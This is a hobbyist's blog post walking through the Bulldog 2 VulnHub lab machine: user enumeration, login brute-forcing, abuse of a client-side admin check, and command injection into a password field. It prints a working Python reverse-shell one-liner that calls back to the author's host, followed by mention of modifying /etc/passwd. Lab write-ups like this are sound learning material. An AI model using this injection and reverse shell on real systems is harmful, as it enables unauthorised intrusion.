First blog entry – Bulldog 2!

Thanks for visiting my blog!  I think this may turn out to be a rather unique blog in the sense that it’s not exactly geared towards one thing;  while at the same time it’s not geared towards “many” things either.  Two of the main areas that I enjoy researching are guitars and penetration testing…obviously these have nothing to do with each other, but I’m gonna roll with it anyway.  So here we go with my first entry:  my walkthrough of Bulldog 2 (built by @Frichette_non VulnHub.

Here’s the story…the Bulldog web site has a link on the main page which shows you the Top Monthly Users…an invitation for further enumeration.

When checking out the network traffic in my browser’s dev tools it’s clear that an argument is being passed to the getUsers URI.

Since the home page tells us that there’s over 15K users we can throw a much higher number into the URL so that we make sure to get them all.

After saving that response as a .json file we can then extract all usernames from the file and pipe the output to a .txt file.

After we have all usernames, we can then try and brute force our way into the app.  If we tried 15K usernames multiplied by ~15 million passwords (the length of rockyou.txt on a Kali box), we’d be here for days.  So for that reason I took the top 10 entries from rockyou.txt and built a much smaller file.  The following is the code I used to authenticate to the app.

Nice, we found a username/password combination to gain access to the app.  

Unfortunately, however, there’s not much this user can see/do.  We need to dig deeper.  The first interesting artifact to look at is the main.bundle.js source code, run through jsbeautifier.org

The client side looks for an auth_level property of the user and seeks out the string “master_admin_user”.  If this is found then setItem is called on the user with the user object.

When we look back to the request that authenticates eivijay, we can see that property in the JSON response.  Thus, the idea is that if the response contained “master_admin_user” that this user would be handled differently on the client side.

With this new found knowledge we can execute our own JavaScript to mimic the intended use of the client side functions. 

After a screen refresh we now have an Admin button which takes us to a form for a CLI tool.  With a bit of trial and error (as well as a solid hint from @am0nsec) we can execute whatever shell command we like with a command injection into the password box:

; python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“192.168.0.31”,443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([“/bin/sh”,”-i”]);

With a NetCat listener on my Kali machine I’m able to obtain a reverse shell, modify /etc/passwd, and fully compromise the machine.

Many thanks to @Frichette_n for this VM, and to @am0nsec for the extra clue on the command injection!

Also, thanks to you (the reader of this) for visiting!